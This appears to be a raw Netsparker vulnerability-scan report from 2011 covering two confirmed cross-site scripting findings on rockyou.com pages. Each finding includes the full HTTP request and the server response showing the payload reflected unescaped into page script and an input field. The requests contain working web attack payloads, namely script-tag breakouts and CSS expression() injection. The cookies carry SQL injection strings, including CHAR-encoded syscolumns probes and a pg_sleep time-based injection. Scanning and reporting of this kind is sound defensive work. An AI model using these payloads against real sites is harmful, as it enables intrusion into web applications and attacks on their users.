slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=false" ');
}
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = "turn music on";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=true" ');
}
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
}
// -->
</script>


<script src="/js/common.js" type="text/javascript"></script><link href="http://cdn.rockyou.com/apps/mainsite/css/style.css" rel="stylesheet" type="text/css">

</HEAD>




<BODY class=""
style=""

LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0
onload=""
onunload=""
>


<!-- Comscore tracking. Comscore tracks every time a resource on rockyou is loaded with these params. -->
<img src="http://apps.rockyou.com/dot.gif?CXNID=1000017.0NXC">

<!-- TF 728x90 JScript NoAD code -->
<div style="height:5px;padding:0px;margin:0px;overflow:hidden"></div>

<link href="css/browse.css" rel="stylesheet" type="text/css">
<div class="header">
<div style="float:left; font-family:Arial, Helvetica, sans-serif; font-size:16px;">
<a href="/choose_widget.php">Create</a>&nbsp;|&nbsp;
<a href="/my_stuff.php">My Stuff</a>&nbsp;|&nbsp;
<a href="/featuredartists.php">Browse</a>
</div>
<div style="text-align:right; font-size:9pt; font-family:Arial, Helvetica, sans-serif">
<a href="http://www.rockyou.com/login/">Get a RockYou Account</a>&nbsp;&nbsp;|&nbsp;&nbsp;<a href="/login.php">Sign in Here</a> </div>
<div id="header_banner" style="margin-top:3px; margin-bottom:5px; width:100%; clear:both">
<table width="100%"><tr>
<td width="104px"><a href="/"><img src="http://cdn.rockyou.com/rockyou.com/bling3/ry_logo28.png" alt="RockYou.com"></a></td>
<td align="right" style="vertical-align:top">
<form method="get" action="/search_main.php">
<table class="search" id="search_box"><tr><td>
<input type="text" name="s_tsearch" size=17 style="border:2px solid #ff6d07"/></td>
<td><input type="submit" value="search" />
</td></tr></table> <input type="hidden" value="1" name="p" /></form>
</td>
</tr></table>
</div>
</div><div class="body">
<div class="musicheader"></div>
<div class="musicbody">

<!-- Music Slideshows -->

<div class="musicobject" style="margin-left:0px"><a href="http://www.rockyou.com/slideshow-viewplaylist.php?instanceid=117242930"><img src="http://cdn.rockyou.com/rockyou.com/browse/music_header_info/zac_brown.jpg" /><br /><img src="http://cdn.rockyou.com/rockyou.com/browse/button.jpg" width="150" height="55" /></a> </div>

<div class="musicobject"><a href="http://www.rockyou.com/slideshow-viewplaylist.php?instanceid=117375614"><img src="http://cdn.rockyou.com/rockyou.com/browse/music_header_info/tila_tequila.jpg" /><br /><img src="http://cdn.rockyou.com/rockyou.com/browse/button.jpg" width="150" height="55" /></a></div>
<div class="musicobject"><a href="http://www.rockyou.com/slideshow-viewplaylist.php?instanceid=114684110"><img src="http://cdn.rockyou.com/rockyou.com/browse/music_header_info/rissy_palmer.jpg" /><br /><img src="http://cdn.rockyou.com/rockyou.com/browse/button.jpg" width="150" height="55" /></a></div>
<div class="musicobject"><a href="http://www.rockyou.com/slideshow-viewplaylist.php?instanceid=105684192"><img src="http://cdn.rockyou.com/rockyou.com/browse/music_header_info/krista.jpg" /><br /><img src="http://cdn.rockyou.com/rockyou.com/browse/button.jpg" width="150" height="55" /></a></div>
<div style="clear:both"></div>
</div>
<div class="musicfooter"></div>
<link href="browse/browse.css" rel="stylesheet" type="text/css">
<div class="tabmenu">
<div class="tabinactive" style="margin-left:0px"><a href="featuredartists.php">Featured Artists</a></div>
<div class="tabinactive"><a href="categorylist.php">Categories</a></div>
<div class="tabactive">Tag Search</div>
</div>
<div style="clear:both"></div>

<div class="mainheader"></div>
<div class="mainbody">
<!-- Tag Search -->

<h1>Tags</h1>
<form>
<input name="s_tsearch" style="position:relative;top:-9px" type=text value="&#039; stYle=x:expre/**/ssion(netsparker(9)) ns=&#039;">
<input type="submit" value="Submit" style="position:absolute;width:66px;height:29px;-moz-opacity:0;filter:alpha(opacity:0);opacity:0;"/><img src="http://apps.rockyou.com/images/button-search.jpg" />
</form>
<br />
<h1>Popular Tags</h1>
<a href='viewsearch.php?s_tsearch=angels'>angels</a> &nbsp;<a href='viewsearch.php?s_tsearch=miami'>miami</a> &nbsp;<a href='viewsearch.php?s_tsearch=park'>park</a> &nbsp;<a href='viewsearch.php?s_tsearch=blue'>blue</a> &nbsp;<a href='viewsearch.php?s_tsearch=beautiful'>beautiful</a> &nbsp;<a href='viewsearch.php?s_tsearch=concert'>concert</a> &nbsp;<a href='viewsearch.php?s_tsearch=metal'>metal</a> &nbsp;<a href='viewsearch.php?s_tsearch=things'>things</a> &nbsp;<a href='viewsearch.php?s_tsearch=star'>star</a> &nbsp;<a href='viewsearch.php?s_tsearch=basketball'>basketball</a> &nbsp;<a href='viewsearch.php?s_tsearch=children'>children</a> &nbsp;<a href='viewsearch.php?s_tsearch=hottie'>hottie</a> &nbsp;<a href='viewsearch.php?s_tsearch=only'>only</a> &nbsp;<a href='viewsearch.php?s_tsearch=florida'>florida</a> &nbsp;<a href='viewsearch.php?s_tsearch=smile'>smile</a> &nbsp;<a href='viewsearch.php?s_tsearch=college'>college</a> &nbsp;<a href='viewsearch.php?s_tsearch=tattoos'>tattoos</a> &nbsp;<a href='viewsearch.php?s_tsearch=anime'>anime</a> &nbsp;<a href='viewsearch.php?s_tsearch=jessica'>jessica</a> &nbsp;<a href='viewsearch.php?s_tsearch=high'>high</a> &nbsp;<a href='viewsearch.php?s_tsearch=school'>school</a> &nbsp;<a href='viewsearch.php?s_tsearch=back'>back</a> &nbsp;<a href='viewsearch.php?s_tsearch=tribute'>tribute</a> &nbsp;<a href='viewsearch.php?s_tsearch=event'>event</a> &nbsp;<a href='viewsearch.php?s_tsearch=beer'>beer</a> &nbsp;<a href='viewsearch.php?s_tsearch=camping'>camping</a> &nbsp;<a href='viewsearch.php?s_tsearch=festival'>festival</a> &nbsp;<a href='viewsearch.php?s_tsearch=disneyland'>disneyland</a> &nbsp;<a href='viewsearch.php?s_tsearch=chris'>chris</a> &nbsp;<a href='viewsearch.php?s_tsearch=myspace'>myspace</a> &nbsp;<a href='viewsearch.php?s_tsearch=daughter'>daughter</a> &nbsp;<a href='viewsearch.php?s_tsearch=cruise'>cruise</a> &nbsp;<a href='viewsearch.php?s_tsearch=movies'>movies</a> &nbsp;<a href='viewsearch.php?s_tsearch=clubs'>clubs</a> &nbsp;<a href='viewsearch.php?s_tsearch=fish'>fish</a> &nbsp;<a href='viewsearch.php?s_tsearch=heros'>heros</a> &nbsp;<a href='viewsearch.php?s_tsearch=celebrity'>celebrity</a> &nbsp;<a href='viewsearch.php?s_tsearch=rabbit'>rabbit</a> &nbsp;<a href='viewsearch.php?s_tsearch=will'>will</a> &nbsp;<a href='viewsearch.php?s_tsearch=animals'>animals</a> &nbsp;<a href='viewsearch.php?s_tsearch=disney'>disney</a> &nbsp;<a href='viewsearch.php?s_tsearch=world'>world</a> &nbsp;<a href='viewsearch.php?s_tsearch=pink'>pink</a> &nbsp;<a href='viewsearch.php?s_tsearch=forever'>forever</a> &nbsp;<a href='viewsearch.php?s_tsearch=vegas'>vegas</a> &nbsp;<a href='viewsearch.php?s_tsearch=faces'>faces</a> &nbsp;<a href='viewsearch.php?s_tsearch=music'>music</a> &nbsp;<a href='viewsearch.php?s_tsearch=b day'>b day</a> &nbsp;<a href='viewsearch.php?s_tsearch=prom'>prom</a> &nbsp;<a href='viewsearch.php?s_tsearch=drawing'>drawing</a> &nbsp;<a href='viewsearch.php?s_tsearch=women'>women</a> &nbsp;<a href='viewsearch.php?s_tsearch=military'>military</a> &nbsp;<a href='viewsearch.php?s_tsearch=adventures'>adventures</a> &nbsp;<a href='viewsearch.php?s_tsearch=halloween'>halloween</a> &nbsp;<a href='viewsearch.php?s_tsearch=your'>your</a> &nbsp;<a href='viewsearch.php?s_tsearch=dance'>dance</a> &nbsp;<a href='viewsearch.php?s_tsearch=fall'>fall</a> &nbsp;<a href='viewsearch.php?s_tsearch=homecoming'>homecoming</a> &nbsp;<a href='viewsearch.php?s_tsearch=weekend'>weekend</a> &nbsp;<a href='viewsearch.php?s_tsearch=race'>race</a> &nbsp;<a href='viewsearch.php?s_tsearch=dogs'>dogs</a> &nbsp;<a href='viewsearch.php?s_tsearch=white'>white</a> &nbsp;<a href='viewsearch.php?s_tsearch=california'>california</a> &nbsp;<a href='viewsearch.php?s_tsearch=york'>york</a> &nbsp;<a href='viewsearch.php?s_tsearch=ashley'>ashley</a> &nbsp;<a href='viewsearch.php?s_tsearch=cars'>cars</a> &nbsp;<a href='viewsearch.php?s_tsearch=pets'>pets</a> &nbsp;<a href='viewsearch.php?s_tsearch=hair'>hair</a> &nbsp;<a href='viewsearch.php?s_tsearch=band'>band</a> &nbsp;<a href='viewsearch.php?s_tsearch=sister'>sister</a> &nbsp;<a href='viewsearch.php?s_tsearch=football'>football</a> &nbsp;<a href='viewsearch.php?s_tsearch=fire'>fire</a> &nbsp;<a href='viewsearch.php?s_tsearch=honeymoon'>honeymoon</a> &nbsp;<a href='viewsearch.php?s_tsearch=mexico'>mexico</a> &nbsp;<a href='viewsearch.php?s_tsearch=senior'>senior</a> &nbsp;<a href='viewsearch.php?s_tsearch=paris'>paris</a> &nbsp;<a href='viewsearch.php?s_tsearch=sports'>sports</a> &nbsp;<a href='viewsearch.php?s_tsearch=wildness'>wildness</a> &nbsp;<a href='viewsearch.php?s_tsearch=hawaii'>hawaii</a> &nbsp;<a href='viewsearch.php?s_tsearch=princess'>prin..
- /slideshow-create.php

/slideshow-create.php CONFIRMED

http://www.rockyou.com/slideshow-create.php?refid=3&create=1&instanceid='%22--%3E%3C/style%3E%3C/scr..

Parameters

Parameter Type Value
refid GET 3
create GET 1
instanceid GET '"--></style></script><script>alert(0x0025FA)</script>

Request

GET /slideshow-create.php?refid=3&create=1&instanceid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0025FA)%3C/script%3E HTTP/1.1
Referer: http://www.rockyou.com/slideshow-create.php?refid=
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=9eea1s66tbmof79ujd25v61ml3; lang=en; lastlogin=1303167603; ctid=3; istack=3%7Cwww202.rockyou.com%7C%7C%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29%7Cwww202.rockyou.com%7C%7C%27%2B+%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29+%2B%27%7Cwww202.rockyou.com%7C%7Cconvert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29%7Cwww202.rockyou.com%7C%7C%27%2B+convert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29+%2B%27%7Cwww202.rockyou.com%7C%7C%27AND+1%3D%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com%7C%7CNSFTW%7Cwww202.rockyou.com%7C%7C%27%2BNSFTW%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com; pubtype=facebook; ultype=facebook; referralid=1%29%29%3BSELECT+pg_sleep%2825%29--; sns_type=rockyou.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 23:00:03 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 23:00:02 GMT; path=/; domain=.rockyou.com,lastlogin=1303167603; expires=Wed, 27-Jul-2011 23:00:03 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 23:00:03 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=23713 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 26959
Connection: close
Content-Type: text/html; charset=UTF-8


<HTML>
<HEAD>
<TITLE>RockYou.com - photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE>
<script type="text/javascript">
<!--
function newImage(arg) {
if (document.images) {
rslt = new Image();
rslt.src = arg;
return rslt;
}
}

function changeImages() {
if (document.images && (preloadFlag == true)) {
for (var i=0; i<changeImages.arguments.length; i+=2) {
document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
}
}
}

var preloadFlag = false;
function preloadImages() {
if (document.images) {
create_over = newImage("/images/create-over.png");
mystuff_over = newImage("/images/mystuff-over.png");
topshows_over = newImage("/images/topshows-over.png");
preloadFlag = true;
}
}

function Set_Cookie( name, value, expires)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires ) {
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );

document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
";domain=.rockyou.com";
}


function Get_Cookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}

function Delete_Cookie( name, path) {
if ( Get_Cookie( name ) ) document.cookie = name + "=;domain=.rockyou.com;expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

function showHelp(name)
{
urchinTracker ('/help/'+name);
newwindow= window.open('/popuphelp.php?name='+name,'helppage','toolbar=no, status=no,height=500, width=300,scrollbars=1');
if (window.focus) newwindow.focus();
}

function toggle_frontpage_sound() {
var frontpage_music = document.getElementById("frontpage_music");
if (frontpage_music) frontpage_music.blur();
// Toggle text
var music_text_span = document.getElementById("music_text_span");
if (music_text_span)
music_text_span.innerHTML = (music_text_span.innerHTML == 'MUTE') ? 'LISTEN' : 'MUTE';
// Toggle speaker image
var speaker_button = document.getElementById("speaker_button");
if (speaker_button)
speaker_button.src = (speaker_button.src == "http://dev2.rockyou.com/images/bling3/speaker.png") ?
"http://dev2.rockyou.com/images/bling3/speaker-on.png" : "http://dev2.rockyou.com/images/bling3/speaker.png";
// Toggle sound
var showcase_slide_embed = document.getElementById("showcase_slide_embed");
if (showcase_slide_embed) {
if (showcase_slide_embed.innerHTML.indexOf('nosound=false') != -1) {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=false/, 'nosound=true');
Set_Cookie('frontpage_music_disabled', '1', 1);
}
else {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=true/, 'nosound=false');
Set_Cookie('frontpage_music_disabled', '0', 1);
}
}
}

function toggle_frontpage_music_icon() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("showcase_slide_embed");
if (frontpage_music) {
if (frontpage_music.innerHTML.indexOf("turn-on") >= 0) {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-on/, 'turn-off')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-off/, 'turn-on')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
frontpage_music.blur();
}

function toggle_frontpage_music_text() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("slide-container");
if (frontpage_music) {
if (frontpage_music.innerHTML == "turn music on") {
frontpage_music.innerHTML = "turn music off";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=false" ');
}
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = "turn music on";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=true" ');
}
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
}
// -->
</script>


<script src="create-slideshow-js-combined.php?ver=2" type="text/javascript"></script><script src="/js/greybox/jquery-latest.js" type="text/javascript"></script><script src="/js/greybox/greybox.js?2" type="text/javascript"></script><script src="/js/common.js" type="text/javascript"></script><link href="http://cdn.rockyou.com/apps/mainsite/css/style.css" rel="stylesheet" type="text/css">
<link href="/css/create-slideshow-combined.css?ver=6" rel="stylesheet" type="text/css"><link href="/css/../js/greybox/greybox.css?ver=6" rel="stylesheet" type="text/css">
</HEAD>




<BODY class="background_normal"
style=""

LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0
onload="initDND();"
onunload=""
>


<!-- Comscore tracking. Comscore tracks every time a resource on rockyou is loaded with these params. -->
<img src="http://apps.rockyou.com/dot.gif?CXNID=1000017.0NXC">

<!-- TF 728x90 JScript NoAD code -->
<div style="height:5px;padding:0px;margin:0px;overflow:hidden"></div>

<script language="javascript" type="text/javascript" src="/js/flash_file_uploader.js"></script><script language="javascript" type="text/javascript" src="/js/iuembed.js"></script><script type="text/javascript">// Suppress multifile uploadervar suppressMulti = false;// variable needed for grey box modal dialog for the 'More Songs' linkvar GB_ANIMATION = true; // we have a variable in create.js that needs to know about the right translation for a text.var lang_upload_confirm_delete_slide = "Do you really want to delete this slide?";var lang_slideshow_aspect_43_only = "Only 4:3 Available";var lang_slideshow_aspect_43 = "TV (4:3)";var lang_slideshow_aspect_21 = "Wide (2:1)";var lang_slideshow_aspect_31 = "Strip (3:1)";var lang_empty_caption = "[Click to Add a Caption]";var lang_remove_all_captions = "Are you sure you want to remove all captions?";var lang_abandon_slideshow = "Abandon this slideshow and START OVER?";var evalThis;var thisinstanceid = ''"--></style></script><script>netsparker(0x0025FA)</script>';var tagListArray; var xmlreqs = true; //Disable / enable xmlrequestsvar xmlBatchReq = ""; //Batch Stringvar playingSong = 0; //Current Song that is playingvar storedSongList = ""; //List of Songs responde from AJAXvar statusAddingSong = false;var mycustomtabs = new Array("cattags","transitions","themes","skins","backgrounds", "music","privacy","size","caption","min");var openWithCreateMode = 0;var sizeLevel = 3;var pitchLearnMoreBeboBands = 1; var slideCount = 0;var beforeUnloadStatus = 0;var beforeUnloadStatusEnabled = 1;var bgColorManualSet = 0;var ghost_popup = new Ghost_Popup('ghost_popup');var ghost_popup_music = new Ghost_Popup('ghost_popup_music');var source = "";var currentSkin = '';var currentTransition = '';var currentBackground = '';var currentTheme = '';var currentRatio = 0;var skinConfig = 1;var removePreviewSlide = 0;var slideShowCount="0";//var slideShowCount="0";embed = new appEmbed(thisinstanceid);membed = new musicEmbed(thisinstanceid);embed.setLocal(true);embed.noSound=true;embed.noShare=true;function confirmAbandon() { if (openWithCreateMode == 1 && slideCount > 0 && beforeUnloadStatus == 1) { event.returnValue = "If you continue, this slideshow will be abandoned!"; } beforeUnloadStatus = beforeUnloadStatusEnabled;}function initDND() { document.getElementById('loadingsection_container').className = 'background_normal'; // for partner sites, switch to smaller logo var partner_logo_big = document.getElementById("partner_logo_big"); var partner_logo_small = document.getElementById("partner_logo_small"); if (partner_logo_big) partner_logo_big.style.display = "none"; if (partner_logo_small) partner_logo_small.style.display = "block"; var rockyou_logo = document.getElementById("logo"); if (rockyou_logo) rockyou_logo.style.display = "block"; setupFileUploader(); printCountrySelect(document.getElementById("countryselect")); document.getElementById('loadingsection').innerHTML = ''; document.getElementById('loadingsection').style.display = 'none'; document.getElementById('ticker_area').style.display=""; document.getElementById('upload-and-customize').style.display=""; var bannerheading = document.getElementById('bannerheading'); if (bannerheading) bannerheading.style.display=""; initSectionsNew();}function initSectionsNew(){ supermaxUL(); //document.getElementById('toptab-container').style.display=""; document.getElementById('uploadsection').style.display=""; showUploadDiv(); hasInstanceIDEmbed(); simple_ajax_call('email/ajax_email_tracking.php?message=3&widget=slideshow&instanceid=0', false); openWithCreateMode = 1; document.getElementById("bebo_bubble").style.display = "block";}function initSections(){ if (openWithCreateMode == 1) { // randomize transition updateTransition("photostack2"); } document.getElementById('arrange-and-caption').style.display=""; document.getElementById('quickstyles').style.display=""; document.getElementById('div-upload').style.display=""; document.getElementById('tab-customize').style.display=""; document.getElementById('div-arrange').style.display=""; embed.isScale = false;currentSkin = ''; currentTransition = 'photostack'; currentRatio = 1; skinConfig = 1; currentTheme = ''; currentBackground = ''; setAspectRatioControls(); setBackgroundControls(); setSkinControls(); setSizeControls(); showCookieUploadTab(); showCustomizeDiv(); regUL(); refreshSlideShow(); refreshMusic(0); //Tags tagListArray = []; tagList(tagListArray); setPeopleMap('','','',''); //Songs songListArray = []; songList(songListArray); if (openWithCreateMode == 1) { simple_ajax_call('email/ajax_email_tracking.php?message=4&widget=slideshow&instanceid='+thisinstanceid, false); Set_Cookie('last_created_slideshow', thisinstanceid, 1); } else { if (thisinstanceid != parseInt(Get_Cookie('last_created_slideshow'))) { Set_Cookie('last_created_slideshow', 0, 1); } } // change the instruction var multi_uploader_instruction = document.getElementById("multi_uploader_instruction"); if (multi_uploader_instruction) { multi_uploader_instruction.innerHTML = '<p style="font-size:16px;font-weight:bold;margin-bottom:10px;">Next steps</p>' + '<ul style="font-size:13px;margin-left:10px;">' + '<li>Add more slides</li>' + '<li>To edit captions, scroll down</li>' + '<li>To move and delete slides, scroll down</li>' + '<li>Try the customization options to the right</li>' + '<li>Click Save when you\'re done</li>' + '</ul>' + '<p style="font-size:15px;margin-top:15px;">If you\'re having trouble uploading, <a target="_blank" href="/contact.php" style="text-decoration:underline">let us know</a>.</p>'; } setDefaultPublishSize(3); if (Get_Cookie('bubble_html_file_upload_edit_hide') == null) { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_bottom'; } } else { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_hidden'; } } document.getElementById("bebo_bubble").style.display = "none"; if (Get_Cookie('bubble_save_hide') == null) { document.getElementById("bubble_save1").style.display = "block"; } else { document.getElementById("bubble_save1").style.display = "none"; } //Colors loadSV(); updateH('F1FFCC'); if (window.attachEvent) { window.attachEvent("onbeforeunload", confirmAbandon); } balance_tabs_reset(); setTimeout("balance_tabs_set();", 1000);}function hasInstanceIDEmbed(){ var loc = window.location.href; var instanceString = loc.match("#instanceid=([0-9]*)"); if (instanceString != null) { if (parseInt(instanceString[1]) > 0) window.location='slideshow-create.php?refid=3&create=1&instanceid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0025FA)%3C/script%3E&create=1&instanceid='+instanceString[1]; }}// Flash uploader calls this function when the user has chosen image(s) to upload and on initfunction beginFlashUpload() { var initObj = {}; initObj.instanceid = thisinstanceid; initObj.infront = (document.getElementById('uploadplace').infront.checked) ? true : false; initObj.dataHost = 'http://www.rockyou.com/addimage.php?type=file_html&userid=-1'; return initObj;}// Called on return of flash uploaderfunction flashUploadComplete(instanceid, errorcode, errormessage) { urchinTracker('/flashuploader/complete'); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid); membed = new musicEmbed(instanceid); embed.setLocal(true); embed.noSound=true; embed.noShare=true; //Reload page with slideshow var location = window.location.href; if (location.indexOf('?') != -1) location += "&instanceid="+instanceid; else location += "?instanceid="+instanceid; window.location = location; } else { if (parseInt(errorcode) > 0) { document.getElementById('ulerror').style.display=''; document.getElementById('ulerror').innerHTML=errorcode + " - " + errormessage; } else { document.getElementById('ulerror').innerHTML=""; document.getElementById('ulerror').style.display='none'; refreshList(); clearCaptions(); clearEntry(); } if (removePreviewSlide == 1) { setTimeout('xmlhttpPost("remove_preview_slide", 1);', 1000); removePreviewSlide = 0; } }}function uploadComplete(errorcode, errormessage, url, instanceid){ if (parseInt(errorcode) > 0) { ghost_popup.show("photo upload failed", 13, 10, 60, 100, 1, "frm"); } else { ghost_popup.show("photo uploaded", 13, 10, 60, 100, 1, "frm"); } var form2 = document.getElementById("form2"); if (form2) { form2.reset(); } hideUploading(); clearInterval(progressInterval); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid); ..
- /search_main.php

/search_main.php CONFIRMED

http://www.rockyou.com/search_main.php?s_tsearch='%20stYle=x:expre/**/ssion(alert(9))%20ns='%20&p=1

Parameters

Parameter Type Value
s_tsearch GET ' stYle=x:expre/**/ssion(alert(9)) ns='
p GET 1

Request

GET /search_main.php?s_tsearch='%20stYle=x:expre/**/ssion(netsparker(9))%20ns='%20&p=1 HTTP/1.1
Referer: http://www.rockyou.com/featuredartists.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=9eea1s66tbmof79ujd25v61ml3; lang=en; lastlogin=1303167633; ctid=3; istack=3%7Cwww202.rockyou.com%7C%7C%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29%7Cwww202.rockyou.com%7C%7C%27%2B+%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29+%2B%27%7Cwww202.rockyou.com%7C%7Cconvert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29%7Cwww202.rockyou.com%7C%7C%27%2B+convert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29+%2B%27%7Cwww202.rockyou.com%7C%7C%27AND+1%3D%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com%7C%7CNSFTW%7Cwww202.rockyou.com%7C%7C%27%2BNSFTW%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com; pubtype=facebook; ultype=facebook; referralid=1%29%29%3BSELECT+pg_sleep%2825%29--; sns_type=rockyou.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 23:00:40 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 23:00:39 GMT; path=/; domain=.rockyou.com,lastlogin=1303167640; expires=Wed, 27-Jul-2011 23:00:40 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 23:00:40 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=14492 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 5079
Connection: close
Content-Type: text/html; charset=UTF-8


<HTML>
<HEAD>
